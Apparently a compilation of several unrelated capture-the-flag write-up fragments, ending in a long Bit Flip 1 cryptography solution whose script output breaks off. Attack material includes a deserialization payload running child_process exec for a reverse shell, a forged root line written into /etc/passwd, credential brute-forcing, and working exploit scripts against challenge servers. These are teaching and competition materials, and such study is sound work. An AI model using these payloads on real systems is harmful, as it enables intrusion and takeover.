returns: ```Checking authentication status...You are not authenticated. Please authenticate before attempting to download from the server``` OKay, now let's disassemble the jar and play with it. Open your favorite IDE and set a breakpoint in the function `doDownload()` right before where the `Client.java` sends out authentication to server, i.e. `this.cliOut.writeObject(this.authState)` ![breakpoint](https://user-images.githubusercontent.com/49149993/101406258-2eaab280-3914-11eb-881c-f8e4357d1269.jpg) Execute the program and attempt the download. As the program hits the breakpoint, change `this.authState.loggedIn` to `true` and resume. ![file downloaded](https://user-images.githubusercontent.com/49149993/101406298-3a967480-3914-11eb-9192-c4194b31fcf5.jpg) That's it! The flag has been downloaded! Compute its hashes to submit. ```$ md5sum queen_of_hearts.png717ffaff8f2e6b963333dc46dad60ced queen_of_hearts.png``` ![Queen of Hearts](https://user-images.githubusercontent.com/49149993/101406392-58fc7000-3914-11eb-9f09-1b5539ecf82b.png)
# AceOfClubs - 9009 First of all, we found a ssh service listening over our port: ![images/2-1.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-1.png) So let's try it: ![images/2-2.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-2.png) It seems that the username is “admin”. After some tries (or releasing our Hydra) we found our credentials: username:password Let's hack it!![images/2-3.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-3.png) Now, we must find our flag. Was that easy?? (Note: My partners were working on another flags, so I couldn't revert the target. Let's ignore the “2” in the owner name.) ![images/2-4.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-4.png) So, we cannot read the file. Let's try to escalate privileges: ![images/2-5.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-5.png) That vpn_connect seems strange. We can run it: ![images/2-6.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-6.png) Interesting... We can write files as root. Maybe we have a bof. Let's try: ![images/2-7.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-7.png) Mmm, it doesn't work, but let's try again with a normal run: ![images/2-8.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-8.png) Wow! The new run has broken the last one, giving us a complete line for us. The first line saved had 153 chars, meanwhile the last one had 104, so if we insert 49 chars and our payload we can do nice things :) Let's create first our payload: ![images/2-9.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-9.png) So our payload will be: ```root3:uJg/PTb1FPtqo:0:0:root:/root:/bin/bash ```And voila: ![images/2-10.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-10.png) Let's run it now over the /etc/passwd file :) ![images/2-11.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-11.png) And now, we can privesc with our new password ![images/2-12.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/2-12.png)
```import base64base64_string = "FgwWARMuF2UhPQotZScKFTsxCjcVJmYKY2FqCiE9FSEmCjJlMTksKA=="newPass = base64.b64decode(base64_string).decode("ascii")flag = ''for i in range(40): flag += chr(ord(newPass[i]) ^ 0x55)print(flag)``````CYCTF{B0th_x0r_@nd_b@s3_64?_th@ts_g0dly}```
Get the squared sbox by encrypting all bigrams, take the square root through cycle decomposition. [original writeup](https://flagbot.ch/posts/queensarah2/)
```from pwn import *import random, timenc = remote('challenges.ctfd.io', 30264)s = round(time.time() / 100, 5) + 0.5print(s)s = int(s * 10 ** 5)print(s)rand = []for i in range(5): nc.sendlineafter('> ', 'r') c = int(nc.recvline().decode().strip()) print(i + 1, c) rand.append(c)for i in range(s, -1, -1): random.seed(i / 10 ** 5) check = [] for j in range(5): check.append(random.randint(1, 100000000)) if check == rand: breaknc.sendlineafter('> ', 'g')print(nc.recvline().decode().strip())print(nc.recvline().decode().strip())print(nc.recvline().decode().strip())x = random.randint(1, 100000000)nc.sendlineafter('> ', str(x))print(nc.recvline().decode().strip())x = random.randint(1, 100000000)nc.sendlineafter('> ', str(x))print(nc.recv().decode())``````[x] Opening connection to challenges.ctfd.io on port 30264[x] Opening connection to challenges.ctfd.io on port 30264: Trying 159.203.148.124[+] Opening connection to challenges.ctfd.io on port 30264: Done16072580.9314916072580931491 132996492 457854663 841429744 860258495 92253576Guess the next two random numbers for a flag!Good luck!Enter your first guess:Wow, lucky guess... You won't be able to guess right a second timeWhat? You must have psychic powers... Well here's your flag: nactf{ch000nky_turn1ps_1674973}``````nactf{ch000nky_turn1ps_1674973}```
* RCE is achievable via insecure deserialization on /csp-report endpoint in their HTTP server* Make a chatlog that looks exactly like a POST request to said endpoint, with a reverse-shell payload in it (I made 5 users with names like ``POST /csp-report?``, ``Host``, etc etc). Download the chatlog via FTP to put the file in the server.* Connect to their FTP server externally. Use FTP on active mode (PORT command) to send chatlog to the application’s HTTP server.* reverse-shell. Profit. Payload: ```POST /csp-report?: HTTP/1.1Host: localhost:3380Content-Length: 386Content-Type: application/csp-report {"csp-report": {"blocked-uri": "x", "document-uri": "X", "effective-directive": "X", "original-policy": "X", "referrer": "X", "status-code": "X", "violated-directive": "X", "source-file": {"toString": {"___js-to-json-class___": "Function", "json": "process.mainModule.require(\"child_process\").exec(\"REDACTED <YOURSERVERHERE> REDACTED ", {stdio:\"inherit\"})"}}}}``` Comprehensive writeup [here](https://ubcctf.github.io/2020/11/dragonctf2020-harmony_chat/)
# BlackJocker - 8123 First of all we can see a website of salt haters. Inside it we found 3 websites: → /hint → /admin → /sign-up In /admin, we have a basic http auth. Hydra cannot fight with it. Don't try it In sign-up we can find the password policy (in the source code, inside a js): ``` let submit_btn = document.getElementById('signUpSubmit'); let pwd = document.getElementById('passwordInput'); let div = document.getElementById('resultDiv'); var valid_pwd_regex = /^[a-z0-9]+$/; submit_btn.addEventListener('click', function(){ if (pwd.value.match(valid_pwd_regex) && pwd.value.length <= 14 && pwd.value.length >= 9) { div.innerHTML = "That password is valid!\nWe're not taking new members at the moment, but we'll get back to you."; } else { div.innerHTML = "Invalid password!"; } }); ```So, our passwords must comply "a-z0-9" characters, and a length between 9 and 14\. INTERESTING. In our main page, we have a possible valid mail: [email protected]. Let's go to the /hint page. Here, if we give a valid email, it return us a password hint. Let's try with our admin email: ![images/4-1.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/4-1.png) ihatesalt. 9 chars. No, it doesn't work, but we are close. Opening burp for seeing this request, we can see the next in our response: ![images/4-2.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/4-2.png) So, we have now two ways: - Trying to send the id in order to find more users, and a weaker password. - Crack the hash. The first way fails, so let's crack the hash: Crackstation, hashcrack and others websites fails, but they don't have the first 9 characters. With crunch, I've created a password dictionary with all posibilities of the password policy, begining with our “ihatesalt”. You can use your own script or crunch: ![images/4-3.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/4-3.png) We have a dict of more than 62 millions words. It's insane for hydra, but perfect for hashcat. Saving the hash in a file called “8123.hash”, we run hydra and: ![images/4-4.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/4-4.png) It's all. Now go to the /admin page with your credentials to get the flag :) ![images/4-5.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/4-5.png)
Recover the go standard prng state to forge a one-time signature. [Original version](https://blog.cryptohack.org/bls-signatures-secret-rng-donjon-ctf-writeup)
Bit Flip 1========== Category: cryptography Description----------- ```Flip bits and decrypt communication between Bob and Alice. nc bitflip1.hackable.software 1337``` When we unpack the attachment, we'll be given two files: ```./flag./task.py``` The task.py contains the following code: ```python#!/usr/bin/python3 from Crypto.Util.number import bytes_to_long, long_to_bytesfrom Crypto.Cipher import AESimport hashlibimport osimport base64from gmpy2 import is_prime FLAG = open("flag").read()FLAG += (16 - (len(FLAG) % 16))*" " class Rng: def __init__(self, seed): self.seed = seed self.generated = b"" self.num = 0 def more_bytes(self): self.generated += hashlib.sha256(self.seed).digest() self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) self.num += 256 def getbits(self, num=64): while (self.num < num): self.more_bytes() x = bytes_to_long(self.generated) self.num -= num self.generated = b"" if self.num > 0: self.generated = long_to_bytes(x >> num, self.num // 8) return x & ((1 << num) - 1) class DiffieHellman: def gen_prime(self): prime = self.rng.getbits(512) iter = 0 while not is_prime(prime): iter += 1 prime = self.rng.getbits(512) print("Generated after", iter, "iterations") return prime def __init__(self, seed, prime=None): self.rng = Rng(seed) if prime is None: prime = self.gen_prime() self.prime = prime self.my_secret = self.rng.getbits() self.my_number = pow(5, self.my_secret, prime) self.shared = 1337 def set_other(self, x): self.shared ^= pow(x, self.my_secret, self.prime) def pad32(x): return (b"\x00"*32+x)[-32:] def xor32(a, b): return bytes(x^y for x, y in zip(pad32(a), pad32(b))) def bit_flip(x): print("bit-flip str:") flip_str = base64.b64decode(input().strip()) return xor32(flip_str, x) alice_seed = os.urandom(16) while 1: alice = DiffieHellman(bit_flip(alice_seed)) bob = DiffieHellman(os.urandom(16), alice.prime) alice.set_other(bob.my_number) print("bob number", bob.my_number) bob.set_other(alice.my_number) iv = os.urandom(16) print(base64.b64encode(iv).decode()) cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) enc_flag = cipher.encrypt(FLAG) print(base64.b64encode(enc_flag).decode()) ``` Note that in order to run the task on our local computer, we can use socat like the following: ```# socat tcp4-listen:1337,reuseaddr,fork exec:"python task.py"``` Solution-------- The important thing to note from the above is that ``alice_seed`` is computed once per program run and is afterwards not changed until we establish a new connection to the task and the task is respawned. If we look at the code we can see the input we provide to the program is XORed with ``alice_seed`` and then passed to the ``Rng`` random number generator as seed - this is the only input we control. From the **seed** the random prime number is generated and the number of iterations is outputted to the stdout - this is where the vulnerability is, because that acts as a timing attack on the random number generation. Normally an attacker would need to measure the time it takes to generate a random number, but here the exact number of iterations it took to generate a random prime number is outputted. This is how we'll be able to derive the ``alice_seed`` and later decode the flag. Note also that the input we provide the program must be base64 encoded, because the program will base64 decode it first prior to using it. The actual prime number is a 512-bits number, which is computed from concatenating two SHA256 hashes and is computed as follows and the number of iterations is outputted to stdout: ```candidate = sha256(seed) + sha256(seed + 1) iter = 0while candidate not prime: candidate = sha256(seed + 2 + iter) + sha256(seed + 3 + iter) iter += 1``` We know that ``alice_seed`` is a random number, but let's XOR that number with only a 1-bit input value: ``0b0`` and ``0b1``: ```>>> import base64>>> from Crypto.Util.number import bytes_to_long, long_to_bytes>>> base64.b64encode(bytes(long_to_bytes(0b0)))b'AA=='>>> base64.b64encode(bytes(long_to_bytes(0b1)))b'AQ=='``` This gets us the following, where the number of iterations differ greatly, but the problem is that we cannot obtain the first bit. ![First Bit](first_bit.png) However what if we instead XOR ``alice_seed`` with a 2-bit input value, where we need to generate two values with the n-th bit set to 0 and 1, while the rest of the previous bits have already been identifier (we need to go in turn). This means we need to send in the value ``0b00`` and ``0b10`` and we get the following base64 values: ```>>> base64.b64encode(bytes(long_to_bytes(0b00)))b'AA=='>>> base64.b64encode(bytes(long_to_bytes(0b10)))b'Ag=='``` When sending in these two values, we notice that the number of iterations has changed by exactly a single iteration. ![Second Bit](second_bit.png) We can see than when the second bit is set, the input value will result in more iterations being required to get to the primer number. Let's see what this means by looking at the simple example where the ``alice_seed`` is an 8-bit random value ``0b10111010`` (decimal 186): ```0b10111010 ^ 0b00 = 0b10111010 (186)0b10111010 ^ 0b10 = 0b10111000 (184)``` Therefore when the iterations are computed, they will be computed as follows, where the input value 0b00 will start with initial seed 186, while the input value 0b10 will start with initial seed 184 - this means we need one iteration more to get to the same 186 seed as the 0b00 has started with. This also means that the second bit of the ``alice_seed`` must be set to 1. ```; for 0b00candidate = sha256(186) + sha256(187)candidate = sha256(188) + sha256(189)candidate = sha256(190) + sha256(191)candidate = sha256(192) + sha256(193) ; for 0x10candidate = sha256(184) + sha256(185)candidate = sha256(186) + sha256(187)candidate = sha256(188) + sha256(189)candidate = sha256(190) + sha256(191)candidate = sha256(192) + sha256(193)``` Let's do the same for the third bit. ```>>> base64.b64encode(bytes(long_to_bytes(0b010)))b'Ag=='>>> base64.b64encode(bytes(long_to_bytes(0b110)))b'Bg=='``` If we sent it to the task, we can see that the number of iterations not differs by 2, but the 0b110 requires less number of iterations, so the actual value of the third bit is 0. ![Third Bit](third_bit.png) Now the value of the seed is known to be 0b010, so we can continue with the forth bit. ```>>> base64.b64encode(bytes(long_to_bytes(0b0010)))b'Ag=='>>> base64.b64encode(bytes(long_to_bytes(0b1010)))b'Cg=='``` Now the number of iterations differ by 4 and the 0b1010 requires more iterations, meaning the forth bit is set to 1. ![Forth Bit](forth_bit.png) We can continue with this approach manually, but we can see that the number of iterations does not differ by 1 all the time, but actually differs by the 2^(i-1), which is exactly the bit that is being set. Also this will work for the beginning LSB bits, but will not work for most of the bits, because as soon as we start computing values larger than 2**9, we'll start hitting the next prime number, not the prime that we're targetting. This means that we cannot use this approach for all of the bits, but let's see how we can modify our approach a little bit to be able to get all the bits. What if we instead set an additiona bit to the already guessed seed, like we've done up until now. However instead of sending the orignal seed (with the current guessing bit set to 0), can we instead set all the bits expect the highest one to 1. Also we want the lowest bit set to 0, which is why we need to subtract 2 instead of 1 from the 2**i-1 value as we can see below. ```>>> bin(2**5)'0b100000'>>> bin(2**5-1)'0b11111'>>> bin(2**5-2)'0b11110'``` We basically need to send the following values. ```>>> seed = 0b11010>>> bin(seed | 2**5)'0b111010'>>> bin(seed ^ (2**5-2))'0b000100'``` Keep in mind that we want to control the **seed** being passed to the Rng class, where the input is XORed with the actual value we pass in as input. Therefore if the current seed is ``0b11010``, the following values are passed as input to the Rng - we basically get exactly the values that we're after. This also implies the number of iterations s ```>>> bin(seed ^ 0b111010)'0b100000'>>> bin(seed ^ 0b000100)'0b11110'``` Since the actual values are different by exactly 2, which is processes in a single iteration, it means that if the number if iterations between both number is different by exactly a single iteration, the bit is 0, otherwise it's 1. By using this logic we can quickly get to the following script that is capable of getting the ``alice_seed``: ```#/usr/bin/env pythonfrom pwn import *from Crypto.Util.number import bytes_to_long, long_to_bytesimport base64import struct def get_num_iter(conn, value): # receive the bit-flip str: out = conn.recvline() # send the value conn.send(value + b'\n') # recv num iterations num_iter = str(conn.recvline()) bob_num = conn.recvline() iv_num = conn.recvline() flag_num = conn.recvline() # return the actual number of iterations return int(num_iter.split(" ")[2:3][0]) def main(): global HOST global PORT conn = remote(HOST, PORT) # loop over each bit of 64-bit number sol = 0 maxnum = 128 # 128 for i in range(1, maxnum): # get two values one with and without the ith bit set n = sol ^ ((2 ** i) - 2) m = sol | (1 << i) # base64 encode values basen = base64.b64encode(bytes(long_to_bytes(n))) basem = base64.b64encode(bytes(long_to_bytes(m))) iter_n = get_num_iter(conn, basen) iter_m = get_num_iter(conn, basem) print("N: %s [%d], M: %s [%d]" % (basen, iter_n, basem, iter_m)) if(iter_n != iter_m + 1): sol = sol | (1 << i) print("SOL:" + bin(sol)[2:]) if __name__ == '__main__': HOST = "127.0.0.1" PORT = 1337 main()``` If we run the above script, we will quickly reverse the value of the ``alice_seed``: ![Alice Seed](alice_seed.png) Afterwards, things are pretty straighforward and we can simply re-use both the ``Rng`` and ``DiffieHellman`` classes to perform the initialization of object ``alice`` through which the decryption key ``alice.shared`` is computed automatically - we don't need to do anything to get it except instantiate a ``DiffieHellman`` class with the previously computed seed. Then we need to perform a single iteration of the task loop to obtain the bob secret number, the IV and the encrypted text and it's pretty straighforward to decrypt it to obtain the final solution. The final script that obtain the flag is the following: ```python#/usr/bin/env pythonfrom pwn import *from Crypto.Util.number import bytes_to_long, long_to_bytesfrom Crypto.Cipher import AESimport hashlibimport osimport base64from gmpy2 import is_prime class Rng: def __init__(self, seed): self.seed = seed self.generated = b"" self.num = 0 def more_bytes(self): self.generated += hashlib.sha256(self.seed).digest() # increase seed by 1 and ensure the seed is 32 bytes long (prepend with NULL bytes) self.seed = long_to_bytes(bytes_to_long(self.seed) + 1, 32) self.num += 256 def getbits(self, num=64): while (self.num < num): self.more_bytes() x = bytes_to_long(self.generated) self.num -= num self.generated = b"" # this is not called for our primes if self.num > 0: self.generated = long_to_bytes(x >> num, self.num // 8) # ANDs with 0xffff...ffff to ensure only a NUM length number is returned return x & ((1 << num) - 1) class DiffieHellman: def gen_prime(self): prime = self.rng.getbits(512) iter = 0 while not is_prime(prime): iter += 1 prime = self.rng.getbits(512) print("Generated after", iter, "iterations") return prime def __init__(self, seed, prime=None): self.rng = Rng(seed) if prime is None: prime = self.gen_prime() self.prime = prime self.my_secret = self.rng.getbits() self.my_number = pow(5, self.my_secret, prime) self.shared = 1337 def set_other(self, x): self.shared ^= pow(x, self.my_secret, self.prime) def pad32(x): return (b"\x00"*32+x)[-32:] def xor32(a, b): return bytes(x^y for x, y in zip(pad32(a), pad32(b))) def bit_flip(x): print("bit-flip str:") inputstr = b'BA==' #inputstr = input().strip() flip_str = base64.b64decode(inputstr) return xor32(flip_str, x) def get_values(conn, value): # receive the bit-flip str: conn.recvline() # send the value conn.send(value + b'\n') # recv num iterations num_iter = str(conn.recvline()) bob_num = conn.recvline() iv_num = conn.recvline() flag_num = conn.recvline() results = [ int(num_iter.split(" ")[2:3][0]), int(bob_num.decode('ascii').split(" ")[2:3][0]), base64.b64decode(iv_num.decode('ascii')), base64.b64decode(flag_num.decode('ascii')) ] return results def get_num_iter(conn, value): return get_values(conn, value)[0] def get_seed(conn): # loop over each bit of 64-bit number sol = 0 maxnum = 128 # 128 for i in range(1, maxnum): # get two values one with and without the ith bit set n = sol ^ ((2 ** i) - 2) m = sol | (1 << i) # base64 encode values basen = base64.b64encode(bytes(long_to_bytes(n))) basem = base64.b64encode(bytes(long_to_bytes(m))) iter_n = get_num_iter(conn, basen) iter_m = get_num_iter(conn, basem) print("N: %s [%d], M: %s [%d]" % (basen, iter_n, basem, iter_m)) if(iter_n != iter_m + 1): sol = sol | (1 << i) print("SOL:" + " "*(135-maxnum) + bin(sol)[2:]) return long_to_bytes(sol, 16) def main(conn): # compute alice_seed alice_seed = get_seed(conn) print(alice_seed) # perform one iteration with arbitrary input to get a sample of values results = get_values(conn, b'BA==') bobnum = results[1] iv = results[2] ciphertext = results[3] # compute the encryption/decryption key alice = DiffieHellman(bit_flip(alice_seed)) alice.set_other(bobnum) # decrypt the ciphertext cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == '__main__': HOST = "127.0.0.1" PORT = 1337 conn = remote(HOST, PORT) main(conn)``` The following shows an example of running the script and obtaining the flag: ```# python sol.py[+] Opening connection to 127.0.0.1 on port 1337: DoneN: b'AA==' [41], M: b'Ag==' [42]SOL: 10N: b'AA==' [41], M: b'Bg==' [44]SOL: 110N: b'AA==' [41], M: b'Dg==' [48]SOL: 1110N: b'AA==' [41], M: b'Hg==' [40]SOL: 1110N: b'EA==' [33], M: b'Lg==' [64]SOL: 101110N: b'EA==' [33], M: b'bg==' [32]SOL: 101110N: b'UA==' [1], M: b'rg==' [0]SOL: 101110N: b'0A==' [452], M: b'AS4=' [451]SOL: 101110N: b'AdA=' [324], M: b'Ai4=' [64]SOL: 1000101110N: b'AdA=' [324], M: b'Bi4=' [277]SOL: 11000101110N: b'AdA=' [324], M: b'Di4=' [865]SOL: 111000101110N: b'AdA=' [324], M: b'Hi4=' [62]SOL: 1111000101110N: b'AdA=' [324], M: b'Pi4=' [315]SOL: 11111000101110N: b'AdA=' [324], M: b'fi4=' [323]SOL: 11111000101110N: b'QdA=' [130], M: b'vi4=' [129]SOL: 11111000101110N: b'wdA=' [97], M: b'AT4u' [96]SOL: 11111000101110N: b'AcHQ' [155], M: b'Aj4u' [433]SOL: 100011111000101110N: b'AcHQ' [155], M: b'Bj4u' [154]SOL: 100011111000101110N: b'BcHQ' [313], M: b'Cj4u' [26]SOL: 10100011111000101110N: b'BcHQ' [313], M: b'Gj4u' [167]SOL: 110100011111000101110N: b'BcHQ' [313], M: b'Oj4u' [271]SOL: 1110100011111000101110N: b'BcHQ' [313], M: b'ej4u' [804]SOL: 11110100011111000101110N: b'BcHQ' [313], M: b'+j4u' [52]SOL: 111110100011111000101110N: b'BcHQ' [313], M: b'Afo+Lg==' [589]SOL: 1111110100011111000101110N: b'BcHQ' [313], M: b'A/o+Lg==' [907]SOL: 11111110100011111000101110N: b'BcHQ' [313], M: b'B/o+Lg==' [101]SOL: 111111110100011111000101110N: b'BcHQ' [313], M: b'D/o+Lg==' [1009]SOL: 1111111110100011111000101110N: b'BcHQ' [313], M: b'H/o+Lg==' [312]SOL: 1111111110100011111000101110N: b'EAXB0A==' [199], M: b'L/o+Lg==' [142]SOL: 101111111110100011111000101110N: b'EAXB0A==' [199], M: b'b/o+Lg==' [442]SOL: 1101111111110100011111000101110N: b'EAXB0A==' [199], M: b'7/o+Lg==' [198]SOL: 1101111111110100011111000101110N: b'kAXB0A==' [81], M: b'AW/6Pi4=' [80]SOL: 1101111111110100011111000101110N: b'AZAFwdA=' [179], M: b'Am/6Pi4=' [977]SOL: 1001101111111110100011111000101110N: b'AZAFwdA=' [179], M: b'Bm/6Pi4=' [178]SOL: 1001101111111110100011111000101110N: b'BZAFwdA=' [506], M: b'Cm/6Pi4=' [505]SOL: 1001101111111110100011111000101110N: b'DZAFwdA=' [114], M: b'Em/6Pi4=' [93]SOL: 1001001101111111110100011111000101110N: b'DZAFwdA=' [114], M: b'Mm/6Pi4=' [113]SOL: 1001001101111111110100011111000101110N: b'LZAFwdA=' [720], M: b'Um/6Pi4=' [719]SOL: 1001001101111111110100011111000101110N: b'bZAFwdA=' [99], M: b'km/6Pi4=' [178]SOL: 1001001001101111111110100011111000101110N: b'bZAFwdA=' [99], M: b'AZJv+j4u' [98]SOL: 1001001001101111111110100011111000101110N: b'AW2QBcHQ' [413], M: b'ApJv+j4u' [84]SOL: 101001001001101111111110100011111000101110N: b'AW2QBcHQ' [413], M: b'BpJv+j4u' [694]SOL: 1101001001001101111111110100011111000101110N: b'AW2QBcHQ' [413], M: b'DpJv+j4u' [7]SOL: 11101001001001101111111110100011111000101110N: b'AW2QBcHQ' [413], M: b'HpJv+j4u' [412]SOL: 11101001001001101111111110100011111000101110N: b'EW2QBcHQ' [210], M: b'LpJv+j4u' [57]SOL: 1011101001001001101111111110100011111000101110N: b'EW2QBcHQ' [210], M: b'bpJv+j4u' [209]SOL: 1011101001001001101111111110100011111000101110N: b'UW2QBcHQ' [157], M: b'rpJv+j4u' [156]SOL: 1011101001001001101111111110100011111000101110N: b'0W2QBcHQ' [550], M: b'AS6Sb/o+Lg==' [549]SOL: 1011101001001001101111111110100011111000101110N: b'AdFtkAXB0A==' [105], M: b'Ai6Sb/o+Lg==' [104]SOL: 1011101001001001101111111110100011111000101110N: b'A9FtkAXB0A==' [316], M: b'BC6Sb/o+Lg==' [540]SOL: 100001011101001001001101111111110100011111000101110N: b'A9FtkAXB0A==' [316], M: b'DC6Sb/o+Lg==' [114]SOL: 1100001011101001001001101111111110100011111000101110N: b'A9FtkAXB0A==' [316], M: b'HC6Sb/o+Lg==' [51]SOL: 11100001011101001001001101111111110100011111000101110N: b'A9FtkAXB0A==' [316], M: b'PC6Sb/o+Lg==' [315]SOL: 11100001011101001001001101111111110100011111000101110N: b'I9FtkAXB0A==' [583], M: b'XC6Sb/o+Lg==' [582]SOL: 11100001011101001001001101111111110100011111000101110N: b'Y9FtkAXB0A==' [344], M: b'nC6Sb/o+Lg==' [343]SOL: 11100001011101001001001101111111110100011111000101110N: b'49FtkAXB0A==' [55], M: b'ARwukm/6Pi4=' [54]SOL: 11100001011101001001001101111111110100011111000101110N: b'AePRbZAFwdA=' [839], M: b'Ahwukm/6Pi4=' [285]SOL: 1000011100001011101001001001101111111110100011111000101110N: b'AePRbZAFwdA=' [839], M: b'Bhwukm/6Pi4=' [838]SOL: 1000011100001011101001001001101111111110100011111000101110N: b'BePRbZAFwdA=' [840], M: b'Chwukm/6Pi4=' [322]SOL: 101000011100001011101001001001101111111110100011111000101110N: b'BePRbZAFwdA=' [840], M: b'Ghwukm/6Pi4=' [97]SOL: 1101000011100001011101001001001101111111110100011111000101110N: b'BePRbZAFwdA=' [840], M: b'Ohwukm/6Pi4=' [839]SOL: 1101000011100001011101001001001101111111110100011111000101110N: b'JePRbZAFwdA=' [451], M: b'Whwukm/6Pi4=' [1006]SOL: 101101000011100001011101001001001101111111110100011111000101110N: b'JePRbZAFwdA=' [451], M: b'2hwukm/6Pi4=' [375]SOL: 1101101000011100001011101001001001101111111110100011111000101110N: b'JePRbZAFwdA=' [451], M: b'AdocLpJv+j4u' [407]SOL: 11101101000011100001011101001001001101111111110100011111000101110N: b'JePRbZAFwdA=' [451], M: b'A9ocLpJv+j4u' [450]SOL: 11101101000011100001011101001001001101111111110100011111000101110N: b'AiXj0W2QBcHQ' [37], M: b'BdocLpJv+j4u' [36]SOL: 11101101000011100001011101001001001101111111110100011111000101110N: b'BiXj0W2QBcHQ' [884], M: b'CdocLpJv+j4u' [340]SOL: 10011101101000011100001011101001001001101111111110100011111000101110N: b'BiXj0W2QBcHQ' [884], M: b'GdocLpJv+j4u' [51]SOL: 110011101101000011100001011101001001001101111111110100011111000101110N: b'BiXj0W2QBcHQ' [884], M: b'OdocLpJv+j4u' [883]SOL: 110011101101000011100001011101001001001101111111110100011111000101110N: b'JiXj0W2QBcHQ' [364], M: b'WdocLpJv+j4u' [363]SOL: 110011101101000011100001011101001001001101111111110100011111000101110N: b'ZiXj0W2QBcHQ' [462], M: b'mdocLpJv+j4u' [461]SOL: 110011101101000011100001011101001001001101111111110100011111000101110N: b'5iXj0W2QBcHQ' [284], M: b'ARnaHC6Sb/o+Lg==' [19]SOL: 1000110011101101000011100001011101001001001101111111110100011111000101110N: b'5iXj0W2QBcHQ' [284], M: b'AxnaHC6Sb/o+Lg==' [365]SOL: 11000110011101101000011100001011101001001001101111111110100011111000101110N: b'5iXj0W2QBcHQ' [284], M: b'BxnaHC6Sb/o+Lg==' [783]SOL: 111000110011101101000011100001011101001001001101111111110100011111000101110N: b'5iXj0W2QBcHQ' [284], M: b'DxnaHC6Sb/o+Lg==' [283]SOL: 111000110011101101000011100001011101001001001101111111110100011111000101110N: b'COYl49FtkAXB0A==' [672], M: b'FxnaHC6Sb/o+Lg==' [104]SOL: 10111000110011101101000011100001011101001001001101111111110100011111000101110N: b'COYl49FtkAXB0A==' [672], M: b'NxnaHC6Sb/o+Lg==' [671]SOL: 10111000110011101101000011100001011101001001001101111111110100011111000101110N: b'KOYl49FtkAXB0A==' [321], M: b'VxnaHC6Sb/o+Lg==' [320]SOL: 10111000110011101101000011100001011101001001001101111111110100011111000101110N: b'aOYl49FtkAXB0A==' [297], M: b'lxnaHC6Sb/o+Lg==' [296]SOL: 10111000110011101101000011100001011101001001001101111111110100011111000101110N: b'6OYl49FtkAXB0A==' [189], M: b'ARcZ2hwukm/6Pi4=' [81]SOL: 100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'6OYl49FtkAXB0A==' [189], M: b'AxcZ2hwukm/6Pi4=' [186]SOL: 1100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'6OYl49FtkAXB0A==' [189], M: b'BxcZ2hwukm/6Pi4=' [188]SOL: 1100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BOjmJePRbZAFwdA=' [671], M: b'CxcZ2hwukm/6Pi4=' [65]SOL: 101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BOjmJePRbZAFwdA=' [671], M: b'GxcZ2hwukm/6Pi4=' [670]SOL: 101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FOjmJePRbZAFwdA=' [1621], M: b'KxcZ2hwukm/6Pi4=' [1620]SOL: 101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'NOjmJePRbZAFwdA=' [76], M: b'SxcZ2hwukm/6Pi4=' [312]SOL: 100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'NOjmJePRbZAFwdA=' [76], M: b'yxcZ2hwukm/6Pi4=' [75]SOL: 100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'tOjmJePRbZAFwdA=' [1615], M: b'AUsXGdocLpJv+j4u' [1614]SOL: 100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AbTo5iXj0W2QBcHQ' [260], M: b'AksXGdocLpJv+j4u' [395]SOL: 100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AbTo5iXj0W2QBcHQ' [260], M: b'BksXGdocLpJv+j4u' [259]SOL: 100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BbTo5iXj0W2QBcHQ' [36], M: b'CksXGdocLpJv+j4u' [35]SOL: 100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'DbTo5iXj0W2QBcHQ' [890], M: b'EksXGdocLpJv+j4u' [889]SOL: 100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'HbTo5iXj0W2QBcHQ' [293], M: b'IksXGdocLpJv+j4u' [797]SOL: 1000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'HbTo5iXj0W2QBcHQ' [293], M: b'YksXGdocLpJv+j4u' [292]SOL: 1000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'XbTo5iXj0W2QBcHQ' [31], M: b'oksXGdocLpJv+j4u' [30]SOL: 1000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'3bTo5iXj0W2QBcHQ' [126], M: 